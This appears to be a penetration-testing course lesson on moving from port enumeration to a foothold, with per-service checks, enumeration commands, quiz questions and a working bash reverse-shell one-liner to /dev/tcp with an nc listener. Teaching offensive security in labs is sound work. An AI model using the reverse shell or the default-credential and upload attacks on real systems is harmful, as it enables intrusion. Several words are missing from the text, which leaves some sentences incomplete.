From Enumeration to Foothold
Every open port is a question. Turn the answers into a shell.
What you will learn
- -Drill each open service for its attack surface
- -Prioritize findings by likelihood of a shell
- -Convert a single weakness into command execution
You finished phase 1 and you have a scan full of open . A pile of findings is not a foothold. This lesson is about the bridge: how to interrogate each service, decide what is worth chasing, and turn one weak spot into a .
Enumerate each service on its own terms
An open port is a door. What you do next depends entirely on what is behind it. Take every port your scan reported and ask the questions that service answers to.
- 80 / 443 (). Read the page source. Fingerprint the tech. Brute-force directories and virtual . Web is the most common foothold, so spend time here.
- 22 (). Rarely the way in by itself, but note the version and hold any usernames you find for a later attempt.
- 445 (). List as a null or guest user. Anonymous shares leak configs, backups, and credentials constantly.
- 3306 / 5432 (databases). Try default and reused credentials. A readable database often holds hashes.
$whatweb http://$IP$gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt$smbclient -L //$IP/ -NGET /api/users/1 HTTP/1.1 Host: target.example.com
HTTP/1.1 200 OKPrioritize: what actually gives a shell
Not every finding is worth your time. Rank them by how directly they lead to
code execution. A file-upload form that accepts a .php file outranks a
cosmetic version banner. A world-readable share with a config file outranks an
SSH port with no creds. Chase the finding that most plausibly ends in a shell,
and park the in your notes.
When a service reports its exact version, search it against known with
searchsploit apache 2.4.49. A match is a shortcut. No match just means the way
in is misconfiguration or credentials, not a public CVE.
Land the shell
A foothold is the moment a service runs your command. The cleanest proof is a reverse shell: you open a listener, then trick the target into connecting back to you. Start the listener first, always, or the callback lands on nothing.
$nc -lvnp 4444$bash -c 'bash -i >& /dev/tcp/10.10.14.7/4444 0>&1'The IP in a reverse shell is yours, not the target's. On an engagement that is
your tun0 VPN address, which you can read with ip addr show tun0. this
backwards and you will wait forever for a shell that never comes.
Your scan found an SSH banner, an outdated web app with a file-upload form, and an open SMB port that needs credentials. Which do you chase first?
Before triggering a reverse shell payload on the target, what must already be running on your Kali box?
The callback needs something on your side to connect to. Think netcat with -lvnp.